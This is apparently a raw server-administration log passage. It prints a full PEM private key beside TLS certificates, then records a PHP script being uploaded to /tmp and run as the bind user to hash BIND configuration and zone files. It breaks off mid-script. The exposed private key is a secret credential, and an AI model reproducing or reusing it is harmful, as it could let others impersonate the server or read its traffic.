AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm2wZhicAAAQDAEcw
RQIhAPhc29SwSYlsgeeUJTRBfpIRKqzWTdi6i8mY591riKdbAiApaRvkNs/suZ1y
mxcqUodLaKbrtjUTXpw0kz9rzRVKxwB+ABqLnWlKV5jImaDKiL30j8C0VmDMw2AN
H3H0af/H0ayjAAABm2wZhxsACAAABQAtqHgMBAMARzBFAiEA07lgaORLsgO+tW2e
ujUtBIPXF6mbUGtO7UgM47evFYwCIHA0Xc6+0Gs/mosXsocOcGRBUSEUBX5jq00S
vAAY1RyjMA0GCSqGSIb3DQEBCwUAA4IBAQAbC483YRxc2ZmEiVhN1jBZ8IvEjOKB
r/ZqZanuaFMswPl4zY4IY3LV1F1lOKmlRrFPtC7uJhqDfQJOI7DjhgjQmsTPM7/w
oH7GLs1XbooaU7ABCUneSr6OdEFfsNoYAmP15GvOKo66wljRYaR61lDfTtlQyGgr
TBj6SJy+iQ+MIdCIwYbzY2uzweg264AtLusbjoBiD2TW43m8pIESY9ziUepnH3pq
Ba6jBr5KgXfdvocl/fIsGp2dK/YDHH5c/jopnFwEC5tCaCFnPbfUHzJMMEKSCqC/
3Ms75WrH2wFdfpwfp0T5RL9BcBa0PAuAnYbWLiwf75YB3EtRHd0lxUHt
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9Xxy/xacMMSRY
kZFXV8eOdlv/poW0exxoIsolHbeRHu7200p8EWojV7UAudEm2/3El36pMHGZOHJJ
5oU9PS78Qp8d2YlPjDTijZyIBLVB3C4GZBQNssgML+gHd2hD0fOI0xhH9is7LIPj
aJdJY+a2MImDGZzxnu+tMO12bTAGMHQc/flui7ZwSPYBq+cPYobHCF+IF8Fa0gYN
ZHjEuSht5o9S2mpj6HPdRENKHNw0lS9yY6CusWS0nX4CBWmXXm7y5G3hz1b65KQH
uLTIUu4jfe5mcEoovCRTTHuG5YFKy8IvrC9Ch7yHco6C1UEhV4RF0ge7pjjFpkD3
Y5JVlbt7AgMBAAECggEARsvpHpTRJ9Czat04/fNWKp97M29Y6ylfbFsdQZUDjKCI
7AQAA7Qq/v2KMLRHSgTSsY2Fj9EJlyOwLoqc41EdYLezbuBl4jRjjRMuIvfHn9Cl
8EO374sYGN5MG4Z7l2dFabCpkjWo4d15jSoL7ScJGLG6pyWLNBWcOx5gmHanjpgm
zjyJ1OBSdyGVNJiRXe9LATLT7fqhZNlDj+ARGpolNW2/Gnus3RYgZQVsGiPSJU4F
jqlsZQI3/r2SUH3/lv1Kci4oktsCYhJO3RFts+q8EBe/8vnrQpqib1jbEtqQl1Bu
VMTbI4iei3qYqCg/ihizBfSZgz4FZTO11FIuqpbakQKBgQD51qnwQiBwHcqBrrJr
MhD6T0q0qYO8X7/XYQ2CkWH65pKthIZBh+LgdbzDI1tUkw5JdMP4iq+wjV68EgZ6
kx4j6ePo2uEQuHH1UO1Y8Shwkd+07UvG0bKK6ybIbpWNRYBxSgcnxzSCAAbe8nOc
e0mOL6QifCSG2urRUDL54j6MAwKBgQDCCrHc9hsZcONnoJQMt8/R8gr+8MYTF3v1
jKyLyRYrPq3pY6QRB194WgAWB67K5b5purjGR7v7AV+o1DW5mo4JRwoKdHeg7mct
5n0stBXq4iWjJxoak8wD21xEmsQq9d81YkiSKUvJ1x7ojY+xbx++U4mA5t2wFgpS
iFskY/HFKQKBgHmuSmBA5KmWaN3WZwF8hfZTjhAFi6rAe5/7nefcxPq9N+0Y4Yaj
FyW5UjE8VCwR32B5ZUT0zvLPN7ejk9I5OvHE5YKwr/ND0gTn4GF0OvzwnyLwe/qe
gTXVp7Lw4RfIJPGIW4nNJM64EqCdNx+ckEuW+nrtOaEQmFNPmzRHM61fAoGBAKgW
YZraKgFw09zZskYOGF1ygWn0onC5YC0GThXM/II7iqVpJh+GNoJn3Dk5MIYcXET0
dcl1LHaz6uyx31RHeRC6VA1YdKSYwBJ33ikSWwYcHqRlY+xv6UPSCux28MWSNWfm
Gp1aXoea7PBgaIA4ldPmQ2/BDXrSrOBvtBwi47V5AoGAe7nBCGe+aMIDCbHo+r8U
aJ3k5OGbg08l6DiDx3DELSOTgDYMTdOWd3cDr/g8iu5KBuFiv2aNGi8XT7Ik5xi+
dH5eOyv0F9lmlIBGW7XKY0ec7C/geIzU5oegGRwTN4Sd41FYZ4yLJ22YYNUtKzn7
TI3IQB8mdbT0kqVvQ9cYKB0=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-03 19:22:30: Establishing a connection
2026-01-03 19:22:30:
PUT: /tmp/pkp413657
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:22:30:
runuser -l bind -s /bin/bash -c '/tmp/pkp413657; rm /tmp/pkp413657'
2026-01-03 19:22:30:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:22:49: Establishing a connection
2026-01-03 19:22:55: Establishing a connection
2026-01-03 19:22:55:
PUT: /tmp/pkp255147
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
